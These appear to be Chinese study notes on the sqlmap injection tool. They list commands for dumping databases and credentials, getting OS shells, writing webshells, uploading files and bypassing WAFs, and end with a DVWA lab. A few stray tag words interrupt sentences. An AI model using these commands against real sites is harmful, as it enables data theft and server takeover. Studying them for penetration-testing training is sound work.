SQLMAP使用筆記

 SQLMAP 使用筆記
        --by Anton
0-請求注入檢測
    sqlmap能夠使用基於布爾(bool)、時間(time)、語句是否執行html

(頁面返回時間是否增長)、報錯(error)、聯合查詢(union)、堆查詢(同時執行多條語句)
    get方式 sqlmap.py -u "URL"
    post方式 sqlmap.py -u "URL" --data "post數據"
    cookie方式 sqlmap.py -u "URL" --cookie "cookie數據"

1-獲取數據庫信息
    獲取數據庫類型及版本
    獲取數據庫庫名和用戶名   
            sqlmap.py -u "URL" --current-db/--current-user

2-獲取數據量和用戶權限
    數據量 sqlmap.py -u "URL" --count -D "DB_name"
    判斷用戶權限 sqlmap.py -u "URL" --privileges
      Microsoft SQL Server 最高權限:sa
      Mysql :root

3-Mysql數據庫注入
    mysql數據庫結構
    mysql注入    庫名    sqlmap.py -u "URL" --current-db
                表名    sqlmap.py -u "URL" --tables -D "DB_name"
                列名    sqlmap.py -u "URL" --columns -T "Tables_name" -D "DB_name"
                字段    sqlmap.py -u "URL" --dump -C "Columns_name" -T "Tables_name" -D "DB_name"
                    sqlmap經常使用選項:
                    ​ --second-order 當web程序輸入與返回不在一處界面時,使用此參數監控另外一處頁面
                        sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
                    ​ --tables -D 「數據庫」 列舉數據庫的表名
                    ​ --columns -T 「表名」 -D 「數據庫」 獲取表的列名
                    ​ --dump -C 「字段,字段」 -T 「表名」 -D 「數據庫」 獲取表中的數據,包含列
    新的數據庫注入
        MongoDB、NoSQL--sqlmap不支持這兩款的注入,Nosqlmap使用
                https://github.com/tcstool/nosqlmap
                
4-管理數據庫
    鏈接數據庫    sqlmap.py -d "mysql://用戶名:密碼@地址:端口/數據庫"
        --報錯需安裝pymysql        https://github.com/PyMySQL/PyMySQL
            安裝步驟:解壓->cmd切換目錄->setup.py install
    鏈接上使用參數:--sql-shell 進行sql執行管理
        sqlmap.py -d "mysql://用戶名:密碼@地址:端口/數據庫" --sql-shell
            @@cersion--查看數據庫版本

5-延時注入
    使用狀況
        頁面無變化、沒法使用布爾真假判斷、沒法報錯--做爲最精準的注入缺點:耗時長
    如何使用
        --delay 數值(延時秒數) sqlmap.py -u "URL" --delay 1
        --safe-freq        sqlmap.py -u "URL" --safe-freq
        
6-交互式命令執行和寫webshell
    初識交互式
        注入點用戶權限必須爲最高權限
    sqlmap進行命令執行(提權)
        sqlmap.py -u "URL" --os-cmd="命令"
        在使用參數交互時要知道網站的絕對路徑-盤符開始
        執行後0-選擇網站語言1
        -何種方法尋找網站絕對路徑
        執行命令後在網站絕對路徑下建立了文件,命令執行後自動刪除
    sqlmap寫webshell and 提權
        sqlmap.py -u "URL" --os-shell
        執行後0-選擇網站語言1-何種方法尋找網站絕對路徑
        --關閉sqlmap自動刪除

7-Tamper腳本的介紹和使用
    Whate is Tamper?
        sqlmap下的tamper目錄,高級sql注入測試,如繞過waf(web應用防火牆)
    Tamper腳本的使用
        --tamper="腳本名字"
        sqlmap.py -u "URL" --tamper="腳本名字"
        sqlmap.py -u "url" --current-db  --dbms=mysql(是access就輸access) --tamper 「腳本名稱(好比1.py)」
    Tamper腳本的總結
        
8-本地寫入webshell
    what is 本地寫入/如何寫入?
        zaisqlmap目錄下新建一個目錄mst,在該目錄下建立需上傳的文件
        --file-write "./mst/mst.txt"
            本地文件的地址/路徑
        --file-dest "d:/www/1.html"
            目標文件的地址/路徑
        sqlmap.py -u "URL" --file-write "./mst/mst.txt" --file-dest "d:/www/1.html"
    
9-批量檢測注入漏洞
    what is 批量?
        批量檢測sql注入
    如何批量
        -m
        sqlmap.py -m 路徑
    結合burpsuite
        對post、cookie、http header等檢測
        burpsuite記錄全部request記錄,並保存在指定文件夾
        sqlmap.py -l c:/burp.log --batch -smart
            便可對burp.log中保存的全部request進行注入掃描
            Batch:自動選擇yes
            Smart:啓發式快速判斷,節約時間
                --level=(1-5) #要執行的測試水平等級,默認爲1
                    sqlmap使用的payload能夠在xml/payloads/中看到,參數數值影響測試的注python

     入點,http cookie在level爲2時候會測試,http user——agent/referer頭在level爲3會測試
                    爲保證全面性,level最好設置最高
                --risk=(0-3) #測試執行的風險等級,默認爲1
                    默認的1會測試大部分測試語句,2會增長基於事件的測試語句,3會增長OR語句的sql注入測試
                    #有時候,例如在Update的語句中,注入一個or的測試語句,可能會致使更新整個表,風險很大
                    #測試語句可xml/payloads/中找到,也可自行添加

10-Sqlmap注入
    SQLMAP目錄結構
        doc/ --->>>該文件夾包含了SQLmap的具體使用說明,例如多種語言的簡要說明、PDF版的詳細說明、FAQ、做者信息等。
        extra/ -->> >這裏包含了SQLmap的多種額外功能,例如發出聲響( beep).運行cmd.安全執行、shellcode等。
        lib/ -->>>這裏包含了SQLmap的多種鏈接庫,如五種注入類型請求的參數、提權操做等。
        plugins/ -->> >這裏包含了各類數據庫的信息和數據庫通用事項。
        procs/ -->>>這裏包含了mssqlserver、mysql. Oracle和postgresql的觸發程序
        shell/ -->>>這裏包含了多種注入成功後的多種sheli遠程鏈接命令執行和管理數據庫
        tamper/ -->>>這裏包含了繞過腳本,例如編碼繞過、註釋繞過等。
        thirdparty/ -->>>這裏包含了一些其餘第三方的插件,例如優化、保持鏈接、顏色等。
        txt/ -->>>這裏包含了一些字典,例如用戶瀏覽器代理、表、列、關鍵詞等。
        udf/ -->>>這裏包含了用戶本身定義的攻擊載荷。
        waf/ -->>>>這裏包含了一一些多種常見的防火牆特徵。能夠直接使用--identify-waf來進行檢測。
        xml/ -->>>這裏包含了多種數據庫的注入檢測載荷、旗標信息以及其餘信息。在這裏能夠看到進行注入的。
    學習SQLMAP注入
        #xml目錄下payloads-載荷文件
        #-v數字
            -v有7個等級,默認爲1:
                0:只顯示python錯誤以及嚴重的信息
                1:同時顯示信息和警告信息(默認)
                2:同時顯示debug的信息
                3:同時顯示注入的payload
                4:同時顯示HTTP請求
                5:同時顯示HTTP響應頭
                6:同時顯示HTTP響應頁面
            sqlmap.py -u "URL" --dba -v 3
        #結合burpsuite
            --proxy=http://ip:port  這裏的代理服務器就是burpsuite相對監聽的
                sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
11-實驗實訓
        特殊頁面sql注入
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D 「dvwa」 --tables 進行查詢dvwa數據庫的表名
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T 「users」 -D 「dvwa」進行查詢user表中的列
            sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C 「user,password」 -T 「users」 -D 「dvwa」 進行「脫褲」
        sql盲注漏洞
            
        RM-Anton原創,轉載請註明。mysql

相關文章
相關標籤/搜索